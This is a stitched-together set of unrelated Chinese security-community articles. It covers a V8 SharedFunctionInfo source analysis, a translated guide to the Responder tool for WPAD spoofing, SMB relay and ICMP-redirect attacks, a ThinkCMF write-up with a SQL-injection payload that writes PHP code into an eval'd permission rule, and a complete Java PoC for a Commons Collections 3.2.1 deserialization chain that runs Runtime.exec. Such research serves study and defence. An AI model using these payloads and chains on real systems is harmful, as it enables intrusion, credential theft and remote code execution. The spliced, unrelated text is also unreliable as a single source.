V8编译器以Function为粒度对源码进行编译，生成的结果叫SharedFunction。SharedFunction的特点是共享（Shared）,即可以在其他代码中使用。下面是SharedFunction的数据结构：
1. // SharedFunctionInfo describes the JSFunction information that can be
2. // shared by multiple instances of the function.
3. class SharedFunctionInfo : public HeapObject {
4. public:
5. V8_EXPORT_PRIVATE Code GetCode() const;
6. V8_EXPORT_PRIVATE static void SetScript(
7. Handle<SharedFunctionInfo> shared, Handle<Object> script_object,
8. int function_literal_id, bool reset_preparsed_scope_data = true);
9. V8_EXPORT_PRIVATE int EndPosition() const;
10. V8_EXPORT_PRIVATE int StartPosition() const;
11. V8_EXPORT_PRIVATE void SetPosition(int start_position, int end_position);
12. inline bool IsApiFunction() const;
13. inline bool is_class_constructor() const;
14. inline FunctionTemplateInfo get_api_func_data();
15. inline void set_api_func_data(FunctionTemplateInfo data);
16. inline bool HasBytecodeArray() const;
17. inline BytecodeArray GetBytecodeArray() const;
18. inline void set_bytecode_array(BytecodeArray bytecode);
19. inline Code InterpreterTrampoline() const;
20. inline bool HasInterpreterData() const;
21. inline InterpreterData interpreter_data() const;
22. inline void set_interpreter_data(InterpreterData interpreter_data);
23. // builtin_id corresponds to the auto-generated Builtins::Name id.
24. inline bool HasBuiltinId() const;
25. inline int builtin_id() const;
26. inline void set_builtin_id(int builtin_id);
27. inline bool HasUncompiledData() const;
28. inline UncompiledData uncompiled_data() const;
29. inline void set_uncompiled_data(UncompiledData data);
30. inline bool HasUncompiledDataWithPreparseData() const;
31. inline UncompiledDataWithPreparseData uncompiled_data_with_preparse_data()
32. const;
33. inline void set_uncompiled_data_with_preparse_data(
34. UncompiledDataWithPreparseData data);
35. inline bool HasUncompiledDataWithoutPreparseData() const;
36. inline LanguageMode language_mode() const;
37. inline void set_language_mode(LanguageMode language_mode);
38. DECL_PRIMITIVE_ACCESSORS(syntax_kind, FunctionSyntaxKind)
39. inline bool is_wrapped() const;
40. DECL_BOOLEAN_ACCESSORS(has_duplicate_parameters)
41. DECL_BOOLEAN_ACCESSORS(native)
42. DECL_BOOLEAN_ACCESSORS(is_asm_wasm_broken)
43. DECL_BOOLEAN_ACCESSORS(name_should_print_as_anonymous)
44. DECL_BOOLEAN_ACCESSORS(is_oneshot_iife)
45. DECL_BOOLEAN_ACCESSORS(are_properties_final)
46. DECL_BOOLEAN_ACCESSORS(is_safe_to_skip_arguments_adaptor)
47. DECL_BOOLEAN_ACCESSORS(has_reported_binary_coverage)
48. DECL_BOOLEAN_ACCESSORS(private_name_lookup_skips_outer_class)
49. inline FunctionKind kind() const;
50. DECL_INT_ACCESSORS(function_map_index)
51. inline void clear_padding();
52. inline void UpdateFunctionMapIndex();
53. inline bool optimization_disabled() const;
54. inline BailoutReason disable_optimization_reason() const;
55. void DisableOptimization(BailoutReason reason);
56. DECL_BOOLEAN_ACCESSORS(requires_instance_members_initializer)
57. bool HasSourceCode() const;
58. static Handle<Object> GetSourceCode(Handle<SharedFunctionInfo> shared);
59. static Handle<Object> GetSourceCodeHarmony(Handle<SharedFunctionInfo> shared);
60. inline bool IsSubjectToDebugging();
61. inline bool IsUserJavaScript();
62. inline bool CanDiscardCompiled() const;
63. void UpdateExpectedNofPropertiesFromEstimate(FunctionLiteral* literal);
64. void UpdateAndFinalizeExpectedNofPropertiesFromEstimate(
65. FunctionLiteral* literal);
66. DECL_CAST(SharedFunctionInfo)
67. // Constants.
68. static const uint16_t kDontAdaptArgumentsSentinel = static_cast<uint16_t>(-1);
69. static const int kMaximumFunctionTokenOffset = kMaxUInt16 - 1;
70. static const uint16_t kFunctionTokenOutOfRange = static_cast<uint16_t>(-1);
71. STATIC_ASSERT(kMaximumFunctionTokenOffset + 1 == kFunctionTokenOutOfRange);
72. DEFINE_FIELD_OFFSET_CONSTANTS(HeapObject::kHeaderSize,
73. TORQUE_GENERATED_SHARED_FUNCTION_INFO_FIELDS)
74. static const int kAlignedSize = POINTER_SIZE_ALIGN(kSize);
75. class BodyDescriptor;
76. #define FLAGS_BIT_FIELDS(V, _) \
77. /* Have FunctionKind first to make it cheaper to access */ \
78. V(FunctionKindBits, FunctionKind, 5, _) \
79. V(IsNativeBit, bool, 1, _) \
80. V(IsStrictBit, bool, 1, _) \
81. V(FunctionSyntaxKindBits, FunctionSyntaxKind, 3, _) \
82. V(IsClassConstructorBit, bool, 1, _) \
83. V(HasDuplicateParametersBit, bool, 1, _) \
84. V(AllowLazyCompilationBit, bool, 1, _) \
85. V(NeedsHomeObjectBit, bool, 1, _) \
86. V(IsAsmWasmBrokenBit, bool, 1, _) \
87. V(FunctionMapIndexBits, int, 5, _) \
88. V(DisabledOptimizationReasonBits, BailoutReason, 4, _) \
89. V(RequiresInstanceMembersInitializer, bool, 1, _) \
90. V(ConstructAsBuiltinBit, bool, 1, _) \
91. V(NameShouldPrintAsAnonymousBit, bool, 1, _) \
92. V(HasReportedBinaryCoverageBit, bool, 1, _) \
93. V(IsTopLevelBit, bool, 1, _) \
94. V(IsOneshotIIFEOrPropertiesAreFinalBit, bool, 1, _) \
95. V(IsSafeToSkipArgumentsAdaptorBit, bool, 1, _) \
96. V(PrivateNameLookupSkipsOuterClassBit, bool, 1, _)
97. DEFINE_BIT_FIELDS(FLAGS_BIT_FIELDS)
98. #undef FLAGS_BIT_FIELDS
99. };
上面第1行代码的注释说明了SharedFunction可以被多个实例共享。
下面对SharedFunction的重要成员进行解释：
**（1）** 第5行代码`Code GetCode()
const`的作用是获得函数的源码。不要把“源码”误认为字节码，在大多数情况下，“源码”是Builtin，其作用是构建函数入口并调用第一条字节码；
**（2）** 第6行代码`static void SetScript()`的作用是设置JavaScript源码的成员变量；
**（3）**
第9~11行代码`EndPosition()、StartPosition()、SetPosition()`的作用是设置JavaScript源码的位置。源码开始和结束位置标记的代码块是SharedFunction中BytecodeArray对应的JavaScript源码；
**（4）** 第12~15行代码`IsApiFunction()
const、get_api_func_data()、set_api_func_data()`的作用分别是：判断SharedFunction是不是API、获取ApiFun、设置ApiFun；
**（5）**
第16~18行代码`HasBytecodeArray()、set_bytecode_array()、GetBytecodeArray()`的作用分别是：判断BytecodeArray是否存在、设置BytecodeArray，获取BytecodeArray；
**（6）**
第19行代码`InterpreterTrampoline`的作用是获取InterpreterTrampoline的地址指针。InterpreterTrampoline为Bytecode的执行做准备，具体参见相关源码，以后我会详细讲解；
**（7）**
第20~22行代码`HasInterpreterData()、interpreter_data()、set_interpreter_data()`的作用分别是判断、获取和设置解释器数据；
**（8）**
第24~26行代码`HasBuiltinId()、builtin_id()、set_builtin_id`的作用分别是判断、获取和设置BuiltinId;
**（9）**
第27~35行代码中名字中包含`Uncompile`方法的作用是设置SharedFunction的优化机制。Ignition执行JSFunction时会记录Feedback，V8根据Feedback决定是否把SharedFunction（与JSFunction对应的SharedFunction）翻译为hot
code。SharedFunction的优化源码如下：
#define BAILOUT_MESSAGES_LIST(V) \
V(kNoReason, "no reason") \
\
V(kBailedOutDueToDependencyChange, "Bailed out due to dependency change") \
V(kCodeGenerationFailed, "Code generation failed") \
V(kCyclicObjectStateDetectedInEscapeAnalysis, \
"Cyclic object state detected by escape analysis") \
V(kFunctionBeingDebugged, "Function is being debugged") \
V(kGraphBuildingFailed, "Optimized graph construction failed") \
V(kFunctionTooBig, "Function is too big to be optimized") \
V(kLiveEdit, "LiveEdit") \
V(kNativeFunctionLiteral, "Native function literal") \
V(kNotEnoughVirtualRegistersRegalloc, \
"Not enough virtual registers (regalloc)") \
V(kOptimizationDisabled, "Optimization disabled") \
V(kNeverOptimize, "Optimization is always disabled")
**（10）**
第36、37行代码`language_mode()、set_language_mode()`的作用是把JavaScript模式设置为strict或者sloppy；
**（11）** 第40~48行代码`DECL_BOOLEAN_ACCESSORS`的源码如下：
#define DECL_PRIMITIVE_ACCESSORS(name, type) \
inline type name() const; \
inline void set_##name(type value);
#define DECL_BOOLEAN_ACCESSORS(name) DECL_PRIMITIVE_ACCESSORS(name, bool)
**（12）** 第72行代码`DEFINE_FIELD_OFFSET_CONSTANTS`的作用是描述SharedFunction的内存布局，源码如下：
#define DEFINE_FIELD_OFFSET_CONSTANTS(StartOffset, LIST_MACRO) \
enum { \
LIST_MACRO##_StartOffset = StartOffset - 1, \
LIST_MACRO(DEFINE_ONE_FIELD_OFFSET) \
};
//==================分隔线===========================
#define TORQUE_GENERATED_SHARED_FUNCTION_INFO_FIELDS(V) \
V(kStartOfWeakFieldsOffset, 0) \
V(kFunctionDataOffset, kTaggedSize) \
V(kEndOfWeakFieldsOffset, 0) \
V(kStartOfStrongFieldsOffset, 0) \
V(kNameOrScopeInfoOffset, kTaggedSize) \
V(kOuterScopeInfoOrFeedbackMetadataOffset, kTaggedSize) \
V(kScriptOrDebugInfoOffset, kTaggedSize) \
V(kEndOfStrongFieldsOffset, 0) \
V(kLengthOffset, kUInt16Size) \
V(kFormalParameterCountOffset, kUInt16Size) \
V(kExpectedNofPropertiesOffset, kUInt16Size) \
V(kFunctionTokenOffsetOffset, kUInt16Size) \
V(kFlagsOffset, kInt32Size) \
V(kFunctionLiteralIdOffset, kInt32Size) \
V(kUniqueIdOffset, kInt32Size) \
V(kSize, 0) \
//============== 分隔线======================
#define FLAGS_BIT_FIELDS(V, _)//见上面第70行代码
SharedFunction实例的内存布局如图1所示。
实例包括Map头和HeapObject头，Map和HeapObject长度分别是80byte和4byte，SharedFunction的长度请读者自行计算（参考第十二篇文章的章节3），Map长度的计算方法见第十四篇文章的章节2。
## 3 SharedFunction初始化
下面讲述创建SharedFunction实例的过程。
**（1）** 初始化，源码如下：
1. void SharedFunctionInfo::InitFromFunctionLiteral(
2. Handle<SharedFunctionInfo> shared_info, FunctionLiteral* lit,
3. bool is_toplevel) {
4. Isolate* isolate = shared_info->GetIsolate();
5. bool needs_position_info = true;
6. shared_info->set_internal_formal_parameter_count(lit->parameter_count());
7. shared_info->SetFunctionTokenPosition(lit->function_token_position(),
8. lit->start_position());
9. if (shared_info->scope_info().HasPositionInfo()) {
10. shared_info->scope_info().SetPositionInfo(lit->start_position(),
11. lit->end_position());
12. needs_position_info = false;
13. }
14. shared_info->set_syntax_kind(lit->syntax_kind());
15. shared_info->set_allows_lazy_compilation(lit->AllowsLazyCompilation());
16. shared_info->set_language_mode(lit->language_mode());
17. shared_info->set_function_literal_id(lit->function_literal_id());
18. shared_info->set_needs_home_object(lit->scope()->NeedsHomeObject());
19. shared_info->set_requires_instance_members_initializer(
20. lit->requires_instance_members_initializer());
21. shared_info->set_is_toplevel(is_toplevel);
22. DCHECK(shared_info->outer_scope_info().IsTheHole());
23. if (!is_toplevel) {
24. }
25. shared_info->set_length(lit->function_length());
26. if (lit->ShouldEagerCompile()) {
27. shared_info->set_has_duplicate_parameters(lit->has_duplicate_parameters());
28. shared_info->UpdateAndFinalizeExpectedNofPropertiesFromEstimate(lit);
29. shared_info->set_is_safe_to_skip_arguments_adaptor(
30. lit->SafeToSkipArgumentsAdaptor());
31. DCHECK_NULL(lit->produced_preparse_data());
32. needs_position_info = false;
33. } else {
34. }
35. if (needs_position_info) {
36. }
37. }
第14~21行设置编译模式、语法树ID等信息，第25行代码设置函数长度。
**（2）** 安装BytecodeArray到SharedFunction中，源码如下：
void InstallUnoptimizedCode(UnoptimizedCompilationInfo* compilation_info,
Handle<SharedFunctionInfo> shared_info,
ParseInfo* parse_info, Isolate* isolate) {
//省略代码....................
InstallBytecodeArray(compilation_info->bytecode_array(), shared_info,
parse_info, isolate);
}
//===================分隔线================
void InstallBytecodeArray(Handle<BytecodeArray> bytecode_array,
Handle<SharedFunctionInfo> shared_info,
ParseInfo* parse_info, Isolate* isolate) {
if (!FLAG_interpreted_frames_native_stack) {
shared_info->set_bytecode_array(*bytecode_array);
return;
}
//===================分隔线================
void SharedFunctionInfo::set_bytecode_array(BytecodeArray bytecode) {
DCHECK(function_data() == Smi::FromEnum(Builtins::kCompileLazy) ||
HasUncompiledData());
set_function_data(bytecode);
}
看上面的代码，安装BytecodeArray的入口是`InstallUnoptimizedCode()`，`InstallBytecodeArray()`负责安装BytecodeArray，安装的具体操作由`set_function_data()`方法实现。图2给出调用堆栈。
## 4 SharedFunction与JSFunction的差异
`NewFunctionFromSharedFunctionInfo()`方法的输入是SharedFunction，输出是JSFunction，源码如下：
1. Handle<JSFunction> Factory::NewFunctionFromSharedFunctionInfo(
2. Handle<SharedFunctionInfo> info, Handle<Context> context,
3. AllocationType allocation) {
4. Handle<Map> initial_map(
5. Map::cast(context->native_context().get(info->function_map_index())),
6. isolate());
7. return NewFunctionFromSharedFunctionInfo(initial_map, info, context,
8. allocation);
9. }
10. //==============分隔线============
11. Handle<JSFunction> Factory::NewFunction(Handle<Map> map,
12. Handle<SharedFunctionInfo> info,
13. Handle<Context> context,
14. AllocationType allocation) {
15. Handle<JSFunction> function(JSFunction::cast(New(map, allocation)),
16. isolate());
17. function->initialize_properties(isolate());
18. function->initialize_elements();
19. function->set_shared(*info);
20. function->set_code(info->GetCode());
21. function->set_context(*context);
22. function->set_raw_feedback_cell(*many_closures_cell());
23. int header_size;
24. if (map->has_prototype_slot()) {
25. header_size = JSFunction::kSizeWithPrototype;
26. function->set_prototype_or_initial_map(*the_hole_value());
27. } else {
28. header_size = JSFunction::kSizeWithoutPrototype;
29. }
30. InitializeJSObjectBody(function, map, header_size);
31. return function;
32. }
第4行代码获取JSFunction的初始Map。V8初始化时为每个类型都创建了初始Map，存放在root_table中，详见以前的文章。第7行代码`NewFunctionFromSharedFunctionInfo()`方法会调用第11行`NewFunction()`方法。通过对17~30行代码的分析可知SharedFunction与JSFunction的差异为：
**（1）** 第17，18行代码表明JSFunction中有属性和元素，SharedFunction中没有属性和元素；
**（2）** 第21行代码表明JSFuncion绑定current context，SharedFunction不绑定；
**（3）** 第19，20代码表明从SharedFunction中获取stub_entry信息并设置到JSFunction中；
**（4）** 第30行代码表明需要在JSFunction中安装JSObject。
好了，今天到这里，下次见。
**恳请读者批评指正、提出宝贵意见**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
# 【技术分享】使用Responder来掌控Windows网络
##### 译文声明
本文是翻译文章，文章来源：SpiderLabs
原文地址：<https://github.com/SpiderLabs/Responder>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **hac425**](http://bobao.360.cn/member/contribute?uid=2553709124)
**预估稿费：130RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**安全客点评：经典的攻击手法，通过wpad欺骗+SMBRelay实现内网主机控制。**
**介绍**
Responder是一款强大并且简单易用的内网渗透神器。
**功能特性**
内建smb认证服务器,支持的范围: Windows 95 到 Server 2012 RC, Samba 以及 Mac OSX
Lion,该功能会默认被启用,可以用来截获hash 来用于smb relay攻击
内建mssql认证服务器.对windows版本高于windows Vista的机器使用-r选项 来重定向mssql认证到该工具,在Windows SQL
Server 2005 & 2008 上成功测试.
内建http认证服务器,对windows版本高于windows Vista的机器使用-r选项来重定向http认证到该工具.成功在 IE 6 到 IE 10,
Firefox, Chrome, Safari.测试
内建https认证服务器,对windows版本高于windows Vista的机器使用-r选项 来重定向https认证到该工具 certs/
目录下有两个默认的证书.
内建LDAP认证服务器,对windows版本高于windows Vista的机器使用-r选项 来重定向LDAP认证到该工具
内建FTP, POP3, IMAP, SMTP 服务器用于收集明文的凭据.
内建DNS 服务器.用来响应 A类型查询,配合arp欺骗攻击就非常厉害了.
内建 WPAD 代理服务器.该模块会抓取网络中的数据包,然后找到开启了Auto-detect
settings的ie浏览器,然后向他注入PAC脚本具体可以看Responder.conf.
Browser Listener 在隐身模式下找主域控
指纹识别模块 使用 -f 标签启用,他会自动识别使用的 LLMNR/NBT-NS查询的主机指纹.
Icmp重定向模块 python tools/Icmp-Redirect.py 在Windows
XP/2003以及更早版本的域成员来进行中间人攻击,一般配合 DNS 服务器模块来使用.
Rogue DHCP Rogue DHCP
分析模式 使用这种模式你可以查看没有经过任何毒化的NBT-NS, BROWSER, LLMNR,
DNS请求的真实形态.同时可以被动的映射内网的拓扑,同时可以查看是否可以进行icmp重定向攻击.
SMBRelay模块 针对特定的用户使用其凭据执行我们定义的命令
**日志记录**
它所有抓到的hash都会被打印到标准输出接口上同时会以下面的格式存储.
(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt
日志文件位于 logs/ 目录下,所有的活动都会记录到 Responder-Session.log ,分析模式下的日志保存到 Analyze-Session.log, 毒化模式下的日志保存到 Poisoners-Session.log.同时所有抓到的hash都会存储到我们在Responder.conf中配置的sqlite数据库中.
**选项**
--version show program's version number and exit
-h, --help show this help message and exit
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
Network interface to use
-b, --basic Return a Basic HTTP authentication. Default: NTLM
-r, --wredir Enable answers for netbios wredir suffix queries.
Answering to wredir will likely break stuff on the
network. Default: False
-d, --NBTNSdomain Enable answers for netbios domain suffix queries.
Answering to domain suffixes will likely break stuff
on the network. Default: False
-f, --fingerprint This option allows you to fingerprint a host that
issued an NBT-NS or LLMNR query.
-w, --wpad Start the WPAD rogue proxy server. Default value is
False
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
False
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
-v, --verbose Increase verbosity.
**
**
**示例**
**WPAD代理服务器**
WPAD用于在windows中自动化的设置ie浏览器的代理.从Windows 2000开始该功能被默认开启. windows主机首先会向
dhcp服务器和dns服务器查询 wpad.<WindowDomainName> 的路径,如果找不到的化,会向本地局域网发送 LLMNR 和 NBT-NS查询.如果此时Responder 运行在这个网络中,他会响应这些请求并且会返回一个我们指定的 wpad.dat文件给目标浏览器.一个
wpad.dat文件示例
function FindProxyForURL(url, host)
{
if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host))
return "DIRECT";
if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)"))
return "DIRECT";
return 'PROXY ISAProxySrv:3141; DIRECT';
}
该文件的作用为:
当向localhost ,127.0.0.1 ,或者是 plain主机名(比如: http://pre-prod/service.amx),时就不使用Responder代理而直接连接到服务器
当请求*.RespProxySrv 也是直接连接
其他请求时都会使用 位于 ISAProxySrv:3141的 Responder代理服务器.
一旦浏览器收到一个我们伪造的wpad.dat文件,他就会使用我们的Responder代理服务器.
可以看到浏览器已经开始使用我们的Responder代理服务器了,他的流量已经可以被嗅探到了.使用了 -F on 选项的作用是当浏览器再次请求
wpad.dat文件时强制他使用 NTLM 认证. 该选项默认关闭.
从上面的图片可以看到现在目标主机的流量已经被 Responder所截获了.这时我们可以向他注入恶意的html代码.可以在
Responder.conf中配置需要注入的html 代码.
**SMB Relay模块**
SMBRelay脚本需要和Responder一起使用,在使用 SMBRelay脚本 我们需要在Responder.conf 中设置 [Responder
Core]标签下的 SMB = Off,使用该脚本时还要给一个针对使用SMBRelay攻击的用户名列表,同时在使用该脚本前一般先使用 nmap smb-enum-users或 enum4linux来枚举用户权限,以便选取高权限的用户来执行我们的命令.
在上面这个例子中我们成功对 Administrator 账号实现了SMBRelay攻击,攻击的结构就是,创建了一个管理员用户.
**分析模式**
Responder本身就是设计成了一个隐蔽的渗透工具.通过使用使用该模式我们可以查看真正的LLMNR, NBT-NS
以及浏览器请求广播.在下面这个例子中我们比较 本机ip地址和 dns服务器的ip地址来判断是否可以使用 icmp重定向攻击
.该例子中一个最基本的输出如下
在该模块下有一个 Lanman 子模块,使用这个模块我们可以被动的映射出内网中的域控,sql server ,域成员…..
**ICMP重定向攻击**
目标 windows xp 2003 以下的版本.环境配置
攻击者拥有的ip 192.168.2.10
域控制器ip 192.168.3.58,同时他也是主dns服务器
目标ip 192.168.2.39
网关ip 192.168.2.1
攻击之前,路由表:
首先在本机禁用icmp出口流量
然后运行 Icmp-Redirect.py 脚本
攻击之后,路由表:
现在我们可以创建一个 NAT 防火墙规则 使得本机来响应所有从192.168.2.39 到 192.168.3.58的dns请求
iptables -t nat-A PREROUTING -p udp --dst 192.168.3.58 --dport 53 -j DNAT--to-destination 192.168.2.10:53
之后,Responder就可以响应dns请求了.利用这个就可以做很多有趣的事情了.
**指纹识别**
自动识别使用的 LLMNR/NBT-NS查询的主机指纹
**ftp密码抓取模块**
**总结**
该工具又提供了几种对内网进行渗透的思路. smbrelay ,劫持wpad代理,icmp中间人……..
**参考链接**
[https://www.trustwave.com/Resources/SpiderLabs-Blog/Responder-2-0—Owning-Windows-Networks-part-3/](https://www.trustwave.com/Resources/SpiderLabs-Blog/Responder-2-0---Owning-Windows-Networks-part-3/)
[http://blog.spiderlabs.com/2013/01/owning-windows-networks-with-responder-17.html](http://blog.spiderlabs.com/2013/01/owning-windows-networks-with-responder-17.html)
[http://blog.spiderlabs.com/2013/02/owning-windows-network-with-responder-part-2.html](http://blog.spiderlabs.com/2013/02/owning-windows-network-with-responder-part-2.html)
[http://blog.spiderlabs.com/2013/11/spiderlabs-responder-updates.html](http://blog.spiderlabs.com/2013/11/spiderlabs-responder-updates.html)
<https://github.com/SpiderLabs/Responder>
[](https://github.com/SpiderLabs/Responder) | 社区文章 |
## 0x00前言
该漏洞源于某真实案例，虽然攻击没有用到该漏洞，但在分析攻击之后对该版本的cmf审计之后发现了，也算是有点机遇巧合的味道，我没去找漏洞，漏洞找上了我XD
thinkcmf 已经非常久远了，该版本看github上的更新时间已经是4年前了，也就是2014年的时候。
## 0x01前台SQL注入
前台在登录方法中存在注入，thinkcmf是基于thinkphp3.2写的，直接看
文件application\User\Controller\LoginController.class.php 方法 dologin
很明显的注入，通过extract我们可以注册$where数组，而后直接传入where方法，没有经过I方法过滤的引入参数是会引发表达式注入的。
比如这样子：
这里由于有验证码，无法轻易的编写批量脚本。当然引入打码工具另说。
注入之后，我们想到的一定是登录后台了。
那么先了解一下thinkcmf的管理员密码是怎么加密的。
看到 install\index.php 文件的 sp_password 方法
解释一下，$pre就是表前缀，$pw是密码，意思是
> 存储在数据库的hash值 = 表前缀md5的前12位+密码md5+表前缀md5的后四位
比如值为c535018ee946e10adc3949ba59abbe56e057f20f883e89af 存储在数据库的密码。
那么拆分一下就是
> c535018ee946（表前缀md5的前12位）
> e10adc3949ba59abbe56e057f20f883e（密码md5）
> 89af（表前缀md5的后四位）
知道所谓的加密算法之后，我们就可以轻易获取到管理员密码的md5值，通过碰撞md5值的形式获取到管理员的真实密码。
现在我们可以登录上后台了，可登录后台之后要怎么getshell呢？
仔细分析了一下thinkcmf的后台，似乎没有可以getshell的地方。
## 0x02 权限验证处的任意代码执行
认真看了看代码，发现后台的一些操作会有权限验证，而跟踪权限验证代码的时候发现了一个eval的代码块。
看到权限验证处application\Common\Lib\iAuth.class.php check 方法
使用了eval来引入变量，那么这个$command是否可控呢？
经分析其来源于sp_auth_rule表中的condition字段，备注为规则附加条件
而这些数据在安装的时候就早已经写入到数据库中了，除非我们有办法可以来修改这里的值？
是的，前面的sql注入排上用场了。
thinkphp 自
3系列开始就使用pdo作为连接数据库的驱动，而这里这个注入不涉及到参数绑定等问题，那么我们就可以利用它来执行多语句，插入数据或者修改数据了。
简单测试一下，比如修改一下后台管理员的user_email字段。
查看数据库，成功修改
多语句执行可以为我们省下很多事，比如密码过于复杂无法猜解出明文时，我们可以直接修改密码的hash值为我们想要的。
分析一下权限验证的代码，它是怎么触发的？
随便找了个需要登录后台的文件比如 application\Portal\Controller\AdminPageController.class.php
该controller继承于AdminbaseController，跟踪下去
而在AdminbaseController初始化的函数中，发现了检测权限的代码，跟进
发现如果$uid是1的话就直接返回了，这个$uid其实就是数据库里面的id字段值，也就是说要触发权限验证就必须是一个低权限的用户。
继续走，如果访问的不是url为admin/index/index 就会进行鉴权，跟进sp_auth_check方法
最终来到了我们的check方法。
具体意思都写在注释里面了，看到eval代码块，我们只要闭合掉左括号，即可引入我们的恶意代码。
那么整个利用过程就是登录一个低权限的用户，通过sql注入写入代码到我们可以访问的url的condition字段中。
比如我添加了一个低权限的用户hack，他拥有内容管理的权限
对应他能够访问的url有
那么我们只要在sp_auth_rule表中对应的url的condition字段插入代码，然后登陆该用户访问该url即可触发代码执行。
比如我们通过sql注入插入一段执行phpinfo的代码
payload:
where[id][0]=exp&where[id][1]=in (1);update sp_auth_rules set `condition`='1);phpinfo();die();//' where id=30#
请求
查看一下表sp_auth_rule，成功插入
那么后台登陆用户hack之后，访问url
http://127.0.0.1/index.php?g=Portal&m=AdminPage&a=add
即可看到phpinfo执行了
而在之后的研究中，我发现此处权限验证的代码来自于thinkphp 自身。
看到文件simplewind\Core\Library\Think\Auth.class.php getAuthList方法的代码
是不是有种似曾相识的感觉，是的就是thinkcmf根据tp的改写的。
那么这里就引申出来一个审计点：
> tp3框架中如果使用了auth类来验证权限，且有注入点，那么是可以尝试去审计一下任意代码执行。
类似的例子，暂时没看到。
## 0x03 总结
总结一下利用:
>
> 通过前台的sql注入，获取到后台权限（获取管理员密码，或者修改管理员hash值），登陆进后台，添加低权限用户，再通过sql注入来注入代码。登陆低权限用户，访问注入了代码的url，即可触发任意代码执行。
而在实际中，往往是已经有了低权限的用户，我们只需要观察用户能够访问的URL，直接注入代码即可，免去了添加低权限用户的步骤。
整个利用构造下来还是比较有趣的，不完美的是还是需要登录后台，因为很多网站或许会把后台隐藏掉，但是也有可能会因为不理解tp支持的url模式而导致绕过
，这里就不细说了。 | 社区文章 |
# 前言
最近在学习CodeQL，对CC链进行了一次挖掘，在3.2.1版本中找到了一些可以利用的链子，如今对最短的一条编写了POC，顺便来分析一下，除此之外，还有二次反序列化的链子，这里就不分析了
这里为了方便，将CloneTransformer换成了FactoryTransfomer
主要是这里的DefaultedMap只有在3.2.1才能利用
# 漏洞复现
package CC;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.FastHashMap;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.map.DefaultedMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
public class CCD {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass STU = pool.makeClass("T0WN");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
STU.makeClassInitializer().insertBefore(cmd);
STU.setSuperclass(pool.get(AbstractTranslet.class.getName()));
STU.writeFile();
byte[] classBytes = STU.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates,"_name","DawnT0wn");
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",targetByteCodes);
InstantiateFactory factory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates});
FactoryTransformer transformer = new FactoryTransformer(factory);
HashMap tmp = new HashMap();
tmp.put("zZ", "d");
DefaultedMap map = (DefaultedMap) DefaultedMap.decorate(tmp, transformer);
FastHashMap fastHashMap1 = new FastHashMap();
fastHashMap1.put("yy","d");
Hashtable obj = new Hashtable();
obj.put("aa", "b");
obj.put(fastHashMap1, "1");
// Object[] table = (Object[]) Reflections.getFieldValue(obj, "table");
Field field = obj.getClass().getDeclaredField("table");
field.setAccessible(true);
Object[] table = (Object[]) field.get(obj);
// hashmap的索引会根据key的值而变化，如果要改前面的key的话，这里的索引可以用调试的方式改一下
Object node = table[2];
Field keyField;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
if (keyField.get(node) instanceof String){
keyField.set(node, map);
}
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("CCD.bin"));
os.writeObject(obj);
ObjectInputStream fos = new ObjectInputStream(new FileInputStream("CCD.bin"));
fos.readObject();
}
public static void setFieldValue(Object obj,String filename,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(filename);
field.setAccessible(true);
field.set(obj,value);
}
}
# 漏洞分析
首先明确了我们最后是用加载字节码的方式去实现RCE的
利用链如下
FastHashMap:equals()
DefaultedMap:get()
FactoryTransfomer:transformer() #这里也可以是CloneTransformer的tansformer方法
InstantiateFactory:create()
TrAXFilter:构造方法
TemplatesImpl:newTransformer()
看到equals方法，想到了CC7中可以用HashTable，HashMap，HashSet这些的readObject方法作为出发点
但是调用这些equals方法有一个共同点，就是我们需要去put两个hashCode相同的键值对，但是呢，在CC链中，put调用的putval会触发equals方法，直接走到结束，而在这个过程中，会抛出一个异常导致程序结束（只有在加载字节码的时候会有这个问题，如果是调用invoke的话，则不会存在这个问题）
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
在比较了CC7和Y4在rome链缩短的时候调用equals方法的操作后，发现都行不通
CC7会出现上面说的抛出异常程序结束的情况
而Y4调用equals方法，虽然都控制了调用的类，但是也会出现上述情况，那为什么在Rome链中可行呢，调试发现，在CC链中，put走到最后的时候会抛出一个异常，结束程序
而在Rome依赖中，虽然也会出现一个异常，但并不会导致程序结束
可以继续执行到接下来的步骤
